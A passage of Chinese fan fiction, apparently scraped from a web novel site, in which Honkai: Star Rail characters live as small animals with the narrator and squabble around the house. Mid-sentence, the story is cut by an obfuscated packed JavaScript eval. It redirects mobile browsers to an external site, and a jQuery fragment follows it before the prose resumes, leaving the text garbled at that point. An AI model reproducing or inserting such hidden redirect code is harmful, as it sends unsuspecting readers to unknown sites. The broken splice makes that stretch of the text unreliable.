“伙计,我知道你遇到了难题,但是我们不应该慌不择路是不是。你不如告诉我你是看到了什么人和事才对这一条规律产生了疑问的。” 你松开了桑博的衣领,烦躁地抓了抓头发,“是叽米和核桃。” “核桃?什么核桃?” “就是那个该死的奥斯瓦尔多·施耐德。”你越发烦躁:“他为什么变得不是人了?” “伙计,这个问题我无法回答,但我可以给你解答叽米的疑问。” “叽米怎么了。” “你是想把叽米变成人是吧。”桑博看出了你的想法。 “对。”你直接大大方方地承认了。 “椒丘是只狐狸还是个人?” 你想了想:“他是狐人。” “本质上他是狐狸,可以自由切换形态。如果遇到你的时候他是狐狸,你的影响力不会诱导他变成人。但是你可能会因为你这个人而内心产生一些想法,所以变成人形与你交流。”桑博问道:“你说在这种情况下,到底算不算是你的影响?” “这不一样。” “是不一样,但你现在为什么不把你的影响当成是他们自发而起的呢?” 景元接过桑博的话头,“没错,我们每一个人或多或少都是因为你才来到垃圾星,但是做出这个选择的人是我们,不是你。不要把别人的过错归结到你身上来,那不是你该承担的责任。” 丹恒深以为然:“我来到垃圾星并非因你,而是我有不得不这么做的理由。” “理由是什么?” 丹恒沉默了:“恕我现在无法告知。” 桑博不想把氛围搞得太凝重,“你看我们几个在这里有吃有喝,无忧无虑。虽然摆烂了点儿,但是活得开心,活得恣意。那个白厄不是也说,恨我们有你吗?” 好吧。 你再次被这几个小家伙哄好了。把景元从门框上抱下来猛地亲了一口后,嘴巴里全都是白色的猫毛。你正往外吐着,那几只不安分地小鸟又开始在屋子里飞来飞去了,包括但不限于叽米和星期日还有螺丝咕姆以及砂金。 奇了怪了,星期日和 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15587714|165671||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 叽米全都是鸟在屋里飞来飞去也就罢了。螺丝咕姆这只蝴蝶瞎凑什么热闹,还有砂金这只小孔雀,居然学会了飞行。 一时之间,屋内羽毛纷飞,翅粉泛滥。白的紫的绿的五颜六色的,全都掉了下来。地上还有椒丘和加拉赫在比赛赛跑,一个个铆足了劲就像离弦的箭的一样冲了出去。舒俱和波提欧竟也有心情给他俩做裁判,一个站起点,一个站终点。 呃。 你忽然间有些担心,不知道由舒俱参与设计的终点绳会不会把人勒死。 然而当波提欧的枪声响起,你被加拉赫和椒丘的速度带得在原地转了几个圈后,你终于微笑着不想再去担心他们两个的安危了。 脑子里在琢磨另外一件事,这加拉赫是怎么被椒丘说服终于不再整日颓废而是开始晨跑锻炼了。不过就是便宜了你了,下次摸胸膛的时候就有福了。还有舒俱,这张损人的嘴比起真理医生来可是不遑多让。 而波提欧开完了枪也没有安分,而是又伙着杰帕德去砸核桃。这俩对于砸核桃的疯魔已经进化到了无与伦比的地步,他们号称已经研究出了终极砸核桃的手段——把核桃用针穿了孔,又穿了线,吊在一根树枝上。让核桃随风摇摇晃晃,两个人相对而视,一起砸核桃,看核桃壳会落在谁的一边,谁就输了。 不得不说这俩还真会玩。值得庆幸的是,谢天谢地,他们终于放过你的门了。 刃不去和丹恒比划,反倒和青竹较量上了。不是剑身被斩作几段就是青竹爆管而裂。就难以理解,一把剑和一支竹笛可是古往今来多少文人雅士的标配,就这怎么还能打得起来。欧泊在旁边给他们加油助威,时不时还要滋点儿奶。当然最后的结果就是一把剑和一支竹笛追着一个粉白的奶嘴砍。 银枝和罗刹这俩小东西躲在窗台上聊天,两个优雅的家伙聊的无非就是一些……呃,好吧,其实他们说什么都不重要,重要的是他们的修饰语早已超过了事件的本身。 而真理医生,自从你把迷思这只小水母带回来后,他就被这个家伙迷住了。当然,字面意义上的。他的书页已经翻不动了,因为被水母的粘液给糊住了。任凭他如何用力也无法再展开,随风翻阅出世上最美好动听舒缓的音乐了。如今真理医生与其说是一本书,不如说像是一块散发着墨香的砖头。 此时的真理医生应该说是万分后悔了,他不该去招惹迷思的。但谁让他是学者呢,对未知的一切都感到好奇。 你曾经试着强硬翻开真理医生这本书,但是除了把他弄得破损什么用也没有。你的力气是很大,可以轻而易举地敲碎真理医生这本和砖头无异的书,却无法把他打开,细细地翻着一页又一页。 “你每天的生活就是这样?” 粘在真理医生封面上的迷思小水母略带几分嘲讽地扫视着房间内的一切,甚至窗户外面,只要是有小家伙出现的地方,它的视线一概不放过。像是在探索这个未知的地方,正如真理医生想要探索它时一样。